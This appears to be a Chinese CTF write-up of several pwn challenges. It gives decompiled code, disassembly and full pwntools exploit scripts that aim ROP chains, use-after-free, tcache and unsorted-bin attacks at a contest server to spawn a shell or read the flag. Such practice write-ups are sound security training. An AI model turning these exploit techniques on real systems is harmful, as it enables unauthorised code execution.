libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc.sym['puts']

p.send(b'\x00'*0x28 + flat(pop_rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system']))
p.sendline('cat flag*')
p.interactive()

#yz8f=clntclzz

#anyagougedi

过了N天后,这题目录下多了一个文件 文件见容是anyagougedi 是第三裹束的提示1 

第二识势

前边就是一堆瞎绕,然后后边溢出直接溢出就OK,

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[128]; // [rsp+0h] [rbp-B0h] BYREF
  void *v5; // [rsp+80h] [rbp-30h]
  char *v6; // [rsp+88h] [rbp-28h]
  size_t size; // [rsp+90h] [rbp-20h]
  _QWORD *v8; // [rsp+98h] [rbp-18h]
  ssize_t v9; // [rsp+A0h] [rbp-10h]
  void *s; // [rsp+A8h] [rbp-8h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  alarm(0x3Cu);
  puts("Welcome to the second class");
  puts("Here you need to understand the trend and change of top");
  s = malloc(0x10uLL);
  memset(s, 65, 0x18uLL);
  puts("Start injecting");
  v9 = read(0, buf, 0x80uLL);
  v8 = (char *)s + v9;                          // 堆地址加串长度
  puts("You may need some reference materials");
  printf("%lud", v8);
  *v8 = (int)get_int();                         // 把top改最大,将块建到覆盖bsf
  if ( strlen(buf) > 1 )
  {
    puts("Can't go forward so much!");
    exit(0);
  }
  size = (int)get_int();
  v6 = (char *)malloc(size);
  memset(&v6[size - 24], 65, 0x20uLL);
  v5 = malloc(0x30uLL);                         // bsf
  puts("Answer time is close to over");
  read(0, v5, 0x10uLL);
  if ( bsf[15] != 97 )
  {
    puts("Find out where you wrote the answer");
    exit(0);
  }
  func_111001();
  return 0;
}

ssize_t func_111001()
{
  char buf[124]; // [rsp+0h] [rbp-80h] BYREF
  int v2; // [rsp+7Ch] [rbp-4h]

  puts("Think about whether this is very basic");
  memset(buf, 0, 0x70uLL);
  qmemcpy(&buf[0x6E], "ba", 2);
  puts("Direct to destination");
  v2 = read(0, buf, 0x100uLL);
  memcpy(bsf, buf, 0x100uLL);
  write(1, "you pass", 8uLL);
  return write(1, bsf, v2);
}
from pwn import *


#p = process('./p7')
p = remote('59.110.164.72', 10025)
context(arch='amd64', log_level='debug')

elf = ELF('./p7')
libc = ELF('/home/kali/glibc/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#gdb.attach(p, 'b*0x400925\nc')

pop_rdi = 0x0000000000400bd3 # pop rdi ; ret

p.sendafter(b"Start injecting\n", b'\x00'*0x18)
p.recvline()
aaa = int(p.recvuntil(b'd', drop=True))
print(f"{aaa = :x}")

p.sendline(str(0xffffff51).encode())  #top_chunk

#0x6012b0 - aaa
p.sendline(str((0x6012b0-0x20-aaa)&0xffffffff).encode())
p.sendafter(b"Answer time is close to over\n", b'a'*0x10)

p.sendafter("Direct to destination", b'\x00'*0x80 + flat(0x601a00,pop_rdi, elf.got['puts'],elf.plt['puts'], 0x4008a7))
libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']

p.sendafter("Direct to destination", b'\x00'*0x80 + flat(0x601a00,pop_rdi, next(libc.search(b'/bin/sh\x00')),libc.sym['system'], 0x4008a7))

p.sendline(b'cat flag*')
p.interactive()

#ISCC{U2FsdGVkX19Io8JTHM+Mj6kUIhroT9rT+ulCmVCGfKASDrdaVF3VTZCyaAAigumO4fSbo0Jhv+Ike83kf1PGmw==}

这题一开始给了这个巨长加密的flag,一直没人猜对,rabbit加密不给密钥的话真没着。后来赛放换了flag,但一直没找着这里跟第三有啥关系。 

第三裹束(未完成)

这是个盲pwn题,没有提示还报错,通过提示得到第一个提示在第一用笔目录下,得到部分汇编代码.里边有句话可能 是第二个:函数名,不过这后门比比赛关得还早,也没法试了.函数名没几个.

得到的部分

After the previous study, have you found the treasure in the book?
If you tell me Treasure 1, I will give you some clues. If you tell me Treasure 2, I will give you a chance of ultimate challenge.
So what do you want to say to me now: 
[Enter no more than 12 characters]
anyagougedi
*********************************

char *stroke[4],length[4],thickness[4];
int cnt_1 = 0,cnt_2 = 0,cnt_3 = 0;


int how_to_do()
0x0000000000400886 <+0>:        push   rbp
0x0000000000400887 <+1>:        mov    rbp,rsp
0x000000000040088a <+4>:        sub    rsp,0x20
0x000000000040088e <+8>:        mov    rax,QWORD PTR fs:0x28
0x0000000000400897 <+17>:       mov    QWORD PTR [rbp-0x8],rax
0x000000000040089b <+21>:       xor    eax,eax
0x000000000040089d <+23>:       lea    rax,[rbp-0x20]
0x00000000004008a1 <+27>:       mov    edx,0xf
0x00000000004008a6 <+32>:       mov    rsi,rax
0x00000000004008a9 <+35>:       mov    edi,0x0
0x00000000004008ae <+40>:       call   0x400710 
0x00000000004008b3 <+45>:       lea    rax,[rbp-0x20]
0x00000000004008b7 <+49>:       mov    rdi,rax
0x00000000004008ba <+52>:       call   0x400760 
0x00000000004008bf <+57>:       mov    rcx,QWORD PTR [rbp-0x8]
0x00000000004008c3 <+61>:       xor    rcx,QWORD PTR fs:0x28
0x00000000004008cc <+70>:       je     0x4008d3 
0x00000000004008ce <+72>:       call   0x4006e0 <__stack_chk_fail@plt>
0x00000000004008d3 <+77>:       leave
0x00000000004008d4 <+78>:       ret



ssize_t get_content(void *a1, unsigned int a2)
0x00000000004008d5 <+0>:        push   rbp
0x00000000004008d6 <+1>:        mov    rbp,rsp
0x00000000004008d9 <+4>:        sub    rsp,0x20
0x00000000004008dd <+8>:        mov    QWORD PTR [rbp-0x18],rdi
0x00000000004008e1 <+12>:       mov    DWORD PTR [rbp-0x1c],esi
0x00000000004008e4 <+15>:       mov    edx,DWORD PTR [rbp-0x1c]
0x00000000004008e7 <+18>:       mov    rax,QWORD PTR [rbp-0x18]
0x00000000004008eb <+22>:       mov    rsi,rax
0x00000000004008ee <+25>:       mov    edi,0x0
0x00000000004008f3 <+30>:       call   0x400710 
0x00000000004008f8 <+35>:       mov    QWORD PTR [rbp-0x8],rax
0x00000000004008fc <+39>:       mov    rax,QWORD PTR [rbp-0x8]
0x0000000000400900 <+43>:       test   eax,eax
0x0000000000400902 <+45>:       jg     0x400918 
0x0000000000400904 <+47>:       mov    edi,0x4011d8
0x0000000000400909 <+52>:       call   0x4006d0 
0x000000000040090e <+57>:       mov    edi,0x1
0x0000000000400913 <+62>:       call   0x400770 
0x0000000000400918 <+67>:       mov    rax,QWORD PTR [rbp-0x8]
0x000000000040091c <+71>:       leave
0x000000000040091d <+72>:       ret


void get_addr()
You can find the address you are interested in from this. If it is not necessary, we will not provide it. The content of the request should be a function name string, which should not exceed 15 characters!


int Shaping()
0x0000000000400a6e <+0>:        push   rbp
0x0000000000400a6f <+1>:        mov    rbp,rsp
0x0000000000400a72 <+4>:        sub    rsp,0x10
0x0000000000400a76 <+8>:        mov    eax,0x0
0x0000000000400a7b <+13>:       call   0x400886 
0x0000000000400a80 <+18>:       mov    DWORD PTR [rbp-0x4],eax
0x0000000000400a83 <+21>:       mov    eax,DWORD PTR [rbp-0x4]
0x0000000000400a86 <+24>:       cdqe
0x0000000000400a88 <+26>:       mov    rax,QWORD PTR [rax*8+0x603100]
0x0000000000400a90 <+34>:       test   rax,rax
0x0000000000400a93 <+37>:       jne    0x400aa1 
0x0000000000400a95 <+39>:       mov    edi,0x401324
0x0000000000400a9a <+44>:       call   0x4006d0 
0x0000000000400a9f <+49>:       jmp    0x400ae4 
0x0000000000400aa1 <+51>:       mov    eax,DWORD PTR [rbp-0x4]
0x0000000000400aa4 <+54>:       cdqe
0x0000000000400aa6 <+56>:       mov    rax,QWORD PTR [rax*8+0x6030c0]
0x0000000000400aae <+64>:       mov    rsi,rax
0x0000000000400ab1 <+67>:       mov    edi,0x401339
0x0000000000400ab6 <+72>:       mov    eax,0x0
0x0000000000400abb <+77>:       call   0x4006f0 
0x0000000000400ac0 <+82>:       mov    eax,DWORD PTR [rbp-0x4]
0x0000000000400ac3 <+85>:       cdqe
0x0000000000400ac5 <+87>:       mov    rax,QWORD PTR [rax*8+0x6030e0]
0x0000000000400acd <+95>:       mov    rsi,rax
0x0000000000400ad0 <+98>:       mov    edi,0x40134e
0x0000000000400ad5 <+103>:      mov    eax,0x0
0x0000000000400ada <+108>:      call   0x4006f0 
0x0000000000400adf <+113>:      mov    eax,0x0
0x0000000000400ae4 <+118>:      leave
0x0000000000400ae5 <+119>:      ret


int repair()
0x0000000000400ae6 <+0>:        push   rbp
0x0000000000400ae7 <+1>:        mov    rbp,rsp
0x0000000000400aea <+4>:        push   rbx
0x0000000000400aeb <+5>:        sub    rsp,0x18
0x0000000000400aef <+9>:        mov    eax,0x0
0x0000000000400af4 <+14>:       call   0x400886 
0x0000000000400af9 <+19>:       mov    DWORD PTR [rbp-0x14],eax
0x0000000000400afc <+22>:       mov    eax,DWORD PTR [rip+0x2025ae]        # 0x6030b0 
0x0000000000400b02 <+28>:       cmp    eax,0x2
0x0000000000400b05 <+31>:       jle    0x400b16 
0x0000000000400b07 <+33>:       mov    edi,0x401364
0x0000000000400b0c <+38>:       call   0x4006d0 
0x0000000000400b11 <+43>:       jmp    0x400bcd 
0x0000000000400b16 <+48>:       mov    eax,DWORD PTR [rbp-0x14]
0x0000000000400b19 <+51>:       cdqe
0x0000000000400b1b <+53>:       mov    rax,QWORD PTR [rax*8+0x603100]
0x0000000000400b23 <+61>:       test   rax,rax
0x0000000000400b26 <+64>:       jne    0x400b37 
0x0000000000400b28 <+66>:       mov    edi,0x401379
0x0000000000400b2d <+71>:       call   0x4006d0 
0x0000000000400b32 <+76>:       jmp    0x400bcd 
0x0000000000400b37 <+81>:       mov    edi,0x401390
0x0000000000400b3c <+86>:       mov    eax,0x0
0x0000000000400b41 <+91>:       call   0x4006f0 
0x0000000000400b46 <+96>:       mov    eax,0x0
0x0000000000400b4b <+101>:      call   0x400886 
0x0000000000400b50 <+106>:      mov    DWORD PTR [rbp-0x18],eax
0x0000000000400b53 <+109>:      cmp    DWORD PTR [rbp-0x18],0x1000
0x0000000000400b5a <+116>:      jbe    0x400b63 
0x0000000000400b5c <+118>:      mov    DWORD PTR [rbp-0x18],0x1000
0x0000000000400b63 <+125>:      mov    edi,0x4013af
0x0000000000400b68 <+130>:      mov    eax,0x0
0x0000000000400b6d <+135>:      call   0x4006f0 
0x0000000000400b72 <+140>:      mov    eax,DWORD PTR [rbp-0x14]
0x0000000000400b75 <+143>:      cdqe
0x0000000000400b77 <+145>:      mov    rax,QWORD PTR [rax*8+0x6030c0]
0x0000000000400b7f <+153>:      mov    edx,DWORD PTR [rbp-0x18]
0x0000000000400b82 <+156>:      mov    esi,edx
0x0000000000400b84 <+158>:      mov    rdi,rax
0x0000000000400b87 <+161>:      call   0x4008d5 
0x0000000000400b8c <+166>:      mov    edi,0x4013be
0x0000000000400b91 <+171>:      mov    eax,0x0
0x0000000000400b96 <+176>:      call   0x4006f0 
0x0000000000400b9b <+181>:      mov    eax,DWORD PTR [rbp-0x14]
0x0000000000400b9e <+184>:      cdqe
0x0000000000400ba0 <+186>:      mov    rbx,QWORD PTR [rax*8+0x6030e0]
0x0000000000400ba8 <+194>:      mov    eax,0x0
0x0000000000400bad <+199>:      call   0x400886 
0x0000000000400bb2 <+204>:      mov    BYTE PTR [rbx],al
0x0000000000400bb4 <+206>:      mov    eax,DWORD PTR [rip+0x2024f6]        # 0x6030b0 
0x0000000000400bba <+212>:      add    eax,0x1
0x0000000000400bbd <+215>:      mov    DWORD PTR [rip+0x2024ed],eax        # 0x6030b0 
0x0000000000400bc3 <+221>:      mov    edi,0x4013ce
0x0000000000400bc8 <+226>:      call   0x4006d0 
0x0000000000400bcd <+231>:      add    rsp,0x18
0x0000000000400bd1 <+235>:      pop    rbx
0x0000000000400bd2 <+236>:      pop    rbp
0x0000000000400bd3 <+237>:      ret


int structure()
0x0000000000400bd4 <+0>:        push   rbp
0x0000000000400bd5 <+1>:        mov    rbp,rsp
0x0000000000400bd8 <+4>:        push   rbx
0x0000000000400bd9 <+5>:        sub    rsp,0x18
0x0000000000400bdd <+9>:        mov    eax,DWORD PTR [rip+0x2024c9]        # 0x6030ac 
0x0000000000400be3 <+15>:       mov    esi,eax
0x0000000000400be5 <+17>:       mov    edi,0x4013f0
0x0000000000400bea <+22>:       mov    eax,0x0
0x0000000000400bef <+27>:       call   0x4006f0                #printf("%d", cnt_1)
0x0000000000400bf4 <+32>:       mov    eax,DWORD PTR [rip+0x2024b2]        # 0x6030ac 
0x0000000000400bfa <+38>:       cmp    eax,0x3
0x0000000000400bfd <+41>:       jle    0x400c13              #if(cnt_1>3)exit();
0x0000000000400bff <+43>:       mov    edi,0x401410
0x0000000000400c04 <+48>:       call   0x4006d0 
0x0000000000400c09 <+53>:       mov    edi,0x1
0x0000000000400c0e <+58>:       call   0x400770 
0x0000000000400c13 <+63>:       mov    ebx,DWORD PTR [rip+0x202493]        # 0x6030ac 
0x0000000000400c19 <+69>:       mov    edi,0x10
0x0000000000400c1e <+74>:       call   0x400740                
0x0000000000400c23 <+79>:       mov    rdx,rax
0x0000000000400c26 <+82>:       movsxd rax,ebx
0x0000000000400c29 <+85>:       mov    QWORD PTR [rax*8+0x603100],rdx      #m_ptr[cnt_1] = malloc(0x10)
0x0000000000400c31 <+93>:       mov    eax,DWORD PTR [rip+0x202475]        # 0x6030ac 
0x0000000000400c37 <+99>:       cdqe
0x0000000000400c39 <+101>:      mov    rax,QWORD PTR [rax*8+0x603100]
0x0000000000400c41 <+109>:      mov    QWORD PTR [rbp-0x18],rax
0x0000000000400c45 <+113>:      mov    edi,0x401448
0x0000000000400c4a <+118>:      mov    eax,0x0
0x0000000000400c4f <+123>:      call   0x4006f0                #printf("%p", m_ptr[cnt_1])
0x0000000000400c54 <+128>:      mov    eax,0x0
0x0000000000400c59 <+133>:      call   0x400886                 #size = read_n()
0x0000000000400c5e <+138>:      mov    DWORD PTR [rbp-0x1c],eax
0x0000000000400c61 <+141>:      cmp    DWORD PTR [rbp-0x1c],0x1000
0x0000000000400c68 <+148>:      jbe    0x400c71 
0x0000000000400c6a <+150>:      mov    DWORD PTR [rbp-0x1c],0x1000         #size = (size<0x1000)?0x1000:size
0x0000000000400c71 <+157>:      mov    ebx,DWORD PTR [rip+0x202435]        # 0x6030ac 
0x0000000000400c77 <+163>:      mov    eax,DWORD PTR [rbp-0x1c]
0x0000000000400c7a <+166>:      mov    rdi,rax
0x0000000000400c7d <+169>:      call   0x400740 
0x0000000000400c82 <+174>:      mov    rdx,rax
0x0000000000400c85 <+177>:      movsxd rax,ebx
0x0000000000400c88 <+180>:      mov    QWORD PTR [rax*8+0x6030c0],rdx      #ptr[cnt_1] = malloc(size)
0x0000000000400c90 <+188>:      mov    eax,DWORD PTR [rip+0x202416]        # 0x6030ac 
0x0000000000400c96 <+194>:      cdqe
0x0000000000400c98 <+196>:      mov    rax,QWORD PTR [rax*8+0x6030c0]
0x0000000000400ca0 <+204>:      test   rax,rax
0x0000000000400ca3 <+207>:      jne    0x400cb9             #if(ptr[cnt_1]==0)exit();
0x0000000000400ca5 <+209>:      mov    edi,0x401468
0x0000000000400caa <+214>:      call   0x4006d0 
0x0000000000400caf <+219>:      mov    edi,0x1
0x0000000000400cb4 <+224>:      call   0x400770 
0x0000000000400cb9 <+229>:      mov    edi,0x40147f
0x0000000000400cbe <+234>:      mov    eax,0x0
0x0000000000400cc3 <+239>:      call   0x4006f0                #printf("%p", ptr[cnt_1])
0x0000000000400cc8 <+244>:      mov    eax,DWORD PTR [rip+0x2023de]        # 0x6030ac 
0x0000000000400cce <+250>:      cdqe
0x0000000000400cd0 <+252>:      mov    rax,QWORD PTR [rax*8+0x6030c0]
0x0000000000400cd8 <+260>:      mov    edx,DWORD PTR [rbp-0x1c]
0x0000000000400cdb <+263>:      mov    esi,edx
0x0000000000400cdd <+265>:      mov    rdi,rax
0x0000000000400ce0 <+268>:      call   0x4008d5               #get_content(ptr[cnt_1], size)
0x0000000000400ce5 <+273>:      mov    ebx,DWORD PTR [rip+0x2023c1]        # 0x6030ac 
0x0000000000400ceb <+279>:      mov    esi,0x8
0x0000000000400cf0 <+284>:      mov    edi,0x1
0x0000000000400cf5 <+289>:      call   0x400730 
0x0000000000400cfa <+294>:      mov    rdx,rax
0x0000000000400cfd <+297>:      movsxd rax,ebx
0x0000000000400d00 <+300>:      mov    QWORD PTR [rax*8+0x6030e0],rdx      #c_ptr[cnt_1] = calloc(1,8)
0x0000000000400d08 <+308>:      mov    edi,0x4014a0
0x0000000000400d0d <+313>:      mov    eax,0x0
0x0000000000400d12 <+318>:      call   0x4006f0 
0x0000000000400d17 <+323>:      mov    eax,DWORD PTR [rip+0x20238f]        # 0x6030ac 
0x0000000000400d1d <+329>:      cdqe
0x0000000000400d1f <+331>:      mov    rbx,QWORD PTR [rax*8+0x6030e0]
0x0000000000400d27 <+339>:      mov    eax,0x0
0x0000000000400d2c <+344>:      call   0x400886 
0x0000000000400d31 <+349>:      mov    BYTE PTR [rbx],al
0x0000000000400d33 <+351>:      mov    eax,DWORD PTR [rip+0x202373]        # 0x6030ac 
0x0000000000400d39 <+357>:      cdqe
0x0000000000400d3b <+359>:      mov    rax,QWORD PTR [rax*8+0x6030e0]
0x0000000000400d43 <+367>:      mov    rdx,rax
0x0000000000400d46 <+370>:      mov    rax,QWORD PTR [rbp-0x18]
0x0000000000400d4a <+374>:      mov    QWORD PTR [rax],rdx
0x0000000000400d4d <+377>:      mov    rax,QWORD PTR [rbp-0x18]
0x0000000000400d51 <+381>:      lea    rdx,[rax+0x8]
0x0000000000400d55 <+385>:      mov    eax,DWORD PTR [rip+0x202351]        # 0x6030ac 
0x0000000000400d5b <+391>:      cdqe
0x0000000000400d5d <+393>:      mov    rax,QWORD PTR [rax*8+0x6030c0]
0x0000000000400d65 <+401>:      mov    QWORD PTR [rdx],rax
0x0000000000400d68 <+404>:      mov    QWORD PTR [rbp-0x18],0x0
0x0000000000400d70 <+412>:      mov    eax,DWORD PTR [rip+0x202336]        # 0x6030ac 
0x0000000000400d76 <+418>:      add    eax,0x1
0x0000000000400d79 <+421>:      mov    DWORD PTR [rip+0x20232d],eax        # 0x6030ac 
0x0000000000400d7f <+427>:      mov    edi,0x4014bf
0x0000000000400d84 <+432>:      call   0x4006d0 
0x0000000000400d89 <+437>:      add    rsp,0x18
0x0000000000400d8d <+441>:      pop    rbx
0x0000000000400d8e <+442>:      pop    rbp
0x0000000000400d8f <+443>:      ret


void main(int a1, char **a2, char **a3)
0x0000000000401099 <+0>:        push   rbp
0x000000000040109a <+1>:        mov    rbp,rsp
0x000000000040109d <+4>:        sub    rsp,0x30
0x00000000004010a1 <+8>:        mov    DWORD PTR [rbp-0x14],edi
0x00000000004010a4 <+11>:       mov    QWORD PTR [rbp-0x20],rsi
0x00000000004010a8 <+15>:       mov    QWORD PTR [rbp-0x28],rdx
0x00000000004010ac <+19>:       mov    eax,0x0
0x00000000004010b1 <+24>:       call   0x400d90 
0x00000000004010b6 <+29>:       mov    eax,0x0
0x00000000004010bb <+34>:       call   0x400ef7 
0x00000000004010c0 <+39>:       jmp    0x40111e 
0x00000000004010c2 <+41>:       cmp    DWORD PTR [rbp-0x4],0x1
0x00000000004010c6 <+45>:       jne    0x4010d4 
0x00000000004010c8 <+47>:       mov    eax,0x0
0x00000000004010cd <+52>:       call   0x400bd4 
0x00000000004010d2 <+57>:       jmp    0x40111e 
0x00000000004010d4 <+59>:       cmp    DWORD PTR [rbp-0x4],0x2
0x00000000004010d8 <+63>:       jne    0x4010e6 
0x00000000004010da <+65>:       mov    eax,0x0
0x00000000004010df <+70>:       call   0x400a6e 
0x00000000004010e4 <+75>:       jmp    0x40111e 
0x00000000004010e6 <+77>:       cmp    DWORD PTR [rbp-0x4],0x3
0x00000000004010ea <+81>:       jne    0x4010f8 
0x00000000004010ec <+83>:       mov    eax,0x0
0x00000000004010f1 <+88>:       call   0x400ae6 
0x00000000004010f6 <+93>:       jmp    0x40111e 
0x00000000004010f8 <+95>:       cmp    DWORD PTR [rbp-0x4],0xf
0x00000000004010fc <+99>:       jne    0x40110a 
0x00000000004010fe <+101>:      mov    eax,0x0
0x0000000000401103 <+106>:      call   0x40091e 
0x0000000000401108 <+111>:      jmp    0x40111e 
0x000000000040110a <+113>:      mov    edi,0x402575
0x000000000040110f <+118>:      call   0x4006d0 
0x0000000000401114 <+123>:      mov    edi,0x402588
0x0000000000401119 <+128>:      call   0x4006d0 
0x000000000040111e <+133>:      mov    eax,0x0
0x0000000000401123 <+138>:      call   0x400dff 
0x0000000000401128 <+143>:      mov    DWORD PTR [rbp-0x4],eax
0x000000000040112b <+146>:      cmp    DWORD PTR [rbp-0x4],0x4
0x000000000040112f <+150>:      jne    0x4010c2 
0x0000000000401131 <+152>:      mov    edi,0x4025a9
0x0000000000401136 <+157>:      call   0x4006d0 
0x000000000040113b <+162>:      mov    edi,0x0
0x0000000000401140 <+167>:      call   0x400770 


PS: from largebin to the libc we have walked 3953032


We hope you can finally see the file directory structure successfully


Now that you have found Treasure 1, Treasure 2 will not defeat you!
Please tell me again

Treasure 2 is wrong! Keep looking for the treasure

擂台题

babyheap

libc-2.31 ORW题也是板子题

有个UAF后门2023,

__int64 __fastcall main(const char *a1, char **a2, char **a3)
{
  __int64 result; // rax

  init_0();
  while ( 1 )
  {
    while ( 1 )
    {
      menu(a1, a2);
      a1 = "plz input choice: ";
      printf("plz input choice: ");
      result = read_n();
      if ( (_DWORD)result != 2023 )
        break;
      if ( !dword_4010 )                        // 2023
        exit(0);
      m2023_free_UAF();
      --dword_4010;
    }
    if ( (unsigned int)result > 0x7E7 )
      break;
    if ( (_DWORD)result == 3 )
    {
      m3free();
    }
    else
    {
      if ( (unsigned int)result > 3 )
        return result;
      if ( (_DWORD)result == 1 )
      {
        m1add();                                // 固定0x40
      }
      else
      {
        if ( (_DWORD)result != 2 )
          return result;
        m2show();
      }
    }
  }
  return result;
}

利用这个UAF造重叠块,最后一点点把payload写到free_hook,有块大小限制很麻烦.

from pwn import *

context(arch='amd64', log_level='error')

#p = process('./pwn')
p = remote('59.110.164.72', 10030)
libc = ELF('./libc.so.6')

menu = b"plz input choice: "
def add(msg):
    p.sendlineafter(menu, b'1')
    p.sendafter(b"plz input content: ", msg)

def show(idx):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b"plz input idx: ", str(idx).encode())

def free(idx):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b"plz input idx: ", str(idx).encode())

def free2(idx):  # UAF
    p.sendlineafter(menu, b'2023')
    p.sendlineafter(b"plz input idx: ", str(idx).encode())

for i in range(0x10):
    add(b'A')



for i in [6,7,8,9,10,11,12,13,14,15]:
    free(i)

free(5)
free2(0)
show(0)
heap = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x190
print(f"{heap = :x}")

free(4)
free(0)

for i in [6,7,8,9,10,11,12]:
    add(b'B')
add(p64(heap+0x50)+ p64(0)*6 + p64(0x51))
add(b'C')
add(b'C')
add(flat(0x101, 0x461))

free(1)
add(b'AAA')
show(2)
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x70 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")

free_hook   = libc.sym['__free_hook']
_environ    = libc.sym['_environ']
setcontext  = libc.sym['setcontext']
syscall     = next(libc.search(asm("syscall; ret")))

pop_rdi     = next(libc.search(asm("pop rdi; ret")))
pop_rsi     = next(libc.search(asm("pop rsi; ret")))
pop_rdx_r12 = next(libc.search(asm("pop rdx; pop r12; ret")))
pop_rax     = next(libc.search(asm("pop rax; ret")))
jmp_rsp     = next(libc.search(asm("jmp rsp")))

#gadget
gadget_addr= libc.address + 0x0000000000151990

'''
.text:0000000000151990 48 8B 57 08                   mov     rdx, [rdi+8]
.text:0000000000151994 48 89 04 24                   mov     [rsp+0C8h+var_C8], rax
.text:0000000000151998 FF 52 20                      call    qword ptr [rdx+20h]
'''
#orw
fake_frame_addr = free_hook + 0x10
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = fake_frame_addr + 0xF8
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = pop_rdi + 1  # : ret

rop_data = [
    libc.sym['open'],
    pop_rdx_r12,0x100,0,pop_rdi,3,pop_rsi,fake_frame_addr + 0x200,libc.sym['read'],
    pop_rdi,fake_frame_addr + 0x200,libc.sym['puts']
    ]

frame_data = flat(frame).ljust(0xf8, b'\x00')
payload = flat(gadget_addr,fake_frame_addr,frame_data[:0x20],setcontext+61,frame_data[0x28:],b'/flag'.ljust(8, b'\x00'),0)+flat(rop_data)

print('len(payload)', hex(len(payload[0xf8:])))
#save payload to __free_hook
offset  = 0
offset += 0x40
free(7)
free(1)
free(13)
add(flat(0,0x51, free_hook + offset, heap-0xa50))
add(b'A')
add(payload[offset: offset+0x40])

offset += 0x40
free(12)
free(7)
free(1)
add(flat(0,0x51, free_hook + offset, heap-0xa50))
add(b'A')
add(payload[offset: offset+0x40])

offset += 0x40
free(11)
free(7)
free(1)
add(flat(0,0x51, free_hook + offset, heap-0xa50))
add(b'A')
add(payload[offset: offset+0x40])

offset += 0x40
free(10)
free(7)
free(1)
add(flat(0,0x51, free_hook + offset, heap-0xa50))
add(b'A')
add(payload[offset: offset+0x40])

offset += 0x40
free(9)
free(7)
free(1)
add(flat(0,0x51, free_hook + offset, heap-0xa50))
add(b'A')
add(payload[offset: offset+0x40])

offset += 0x40
free(8)
free(7)
free(1)
add(flat(0,0x51, free_hook , heap-0xa50))
add(b'A')
add(payload[0: 0x40])  

free(8)
context.log_level = 'debug'

p.recvline()
p.recvline()
p.recvline()
p.interactive()
#gdb.attach(p)
#pause()

ezuheap

给了gift异或得到加载地址,然后show指针前溢出得到stdout的地址

unsigned __int64 show()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Index:");
  __isoc99_scanf("%d", &v1);
  if ( v1 > 5 || !Nodes[v1] )
  {
    puts("Incorrect subscript :(");
    _exit(0);
  }
  write(1, (const void *)Nodes[v1], (int)Nodes_len[v1]);
  return __readfsqword(0x28u) ^ v2;
}

然后就写free_hook

from pwn import *


#p = process('./uheap')
p = remote('59.110.164.72',10029)
context(arch='amd64', log_level='debug')

libc = ELF('./libc-2.27.so')
elf = ELF('./uheap')

menu = b"choice:"
def add(idx, size):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"Index:", str(idx).encode())
    p.sendlineafter(b"len:", str(size).encode())

def free(idx):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b"Index:", str(idx).encode())

def edit(idx,msg):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b"Index:", str(idx).encode())
    p.send(msg)
    
def show(idx):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(b"Index:", str(idx).encode())

p.sendafter(b"Input your favorite sentence:", b'A'*0x30)
p.sendlineafter(b"Input your cookie:", str(0x15C6156C).encode())

p.recvuntil(b"gift: ")
gift1 = int(p.recvline(),16)

p.recvuntil(b"gift: ")
gift2 = int(p.recvline(),16)
elf.address = (gift1^gift2) - 0x202090
print(f"{gift2 = :x},{elf.address = :x}")

#gdb.attach(p,'b*0x0000555555400e37\nc')

add(2, 0x80)
show(-11)
libc.address = u64(p.recv(32)[-8:]) - libc.sym['_IO_2_1_stdout_']
print(f"{libc.address = :x}")

free(2)
edit(2, p64(libc.sym['__free_hook']))
add(1, 0x80)

#chk
edit(-11, flat(elf.address+0x202090))
edit(-11, p64((libc.sym['__free_hook']&0xFFFFFFFFFFFFF000 )+0x250))

#gdb.attach(p)
#pause()

add(3, 0x80)
edit(1, b'/bin/sh\x00')
edit(3, p64(libc.sym['system']))

free(1)
p.interactive()

uheap

有UAF没有show有后门,后门只检查头为7f

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[256]; // [rsp+0h] [rbp-120h] BYREF
  int idx_1; // [rsp+100h] [rbp-20h]
  int idx_0; // [rsp+104h] [rbp-1Ch]
  void *ptr; // [rsp+108h] [rbp-18h]
  int size; // [rsp+114h] [rbp-Ch]
  int idx; // [rsp+118h] [rbp-8h]
  int choice; // [rsp+11Ch] [rbp-4h]

  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  setbuf(stderr, 0LL);
  while ( 1 )
  {
    choice = menu();
    if ( choice == 5 )
      break;
    switch ( choice )
    {
      case 1:
        idx = get_idx();
        size = get_size();
        ptr = malloc(size);
        if ( !ptr )
          die("malloc error");
        ptrs[idx] = ptr;
        break;
      case 2:
        idx_0 = get_idx();
        free(ptrs[idx_0]);
        break;
      case 3:
        puts("unimplemented yet");
        break;
      case 4:
        puts("unimplemented yet");
        idx_1 = get_idx();
        printf("input content plz : ");
        if ( read(0, ptrs[idx_1], 0x10uLL) < 0 )
          die("read error");
        break;
      default:
        puts("wrong choice");
        break;
    }
  }
  if ( magics[255] > 0x7F0000000000LL )
  {
    puts("input your key");
    read(0, buf, 0x100uLL);
    check_key(buf);
  }
  return 0;
}

unsortbin attack是个很古老的东西了,也很少用,在bk指针处写 个地址,然后再用unsort时会在那个地址上写个堆地址.这样就达到后门条件了

from pwn import *

context(arch='amd64', log_level='debug')

#p = process('./heap')
p = remote('59.110.164.72', 10022)

menu = b' : '
def add(idx, size):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(menu, str(idx).encode())
    p.sendlineafter(menu, str(size).encode())

def free(idx):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(menu, str(idx).encode())

def edit(idx, msg):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(menu, str(idx).encode())
    p.sendafter(menu, msg)

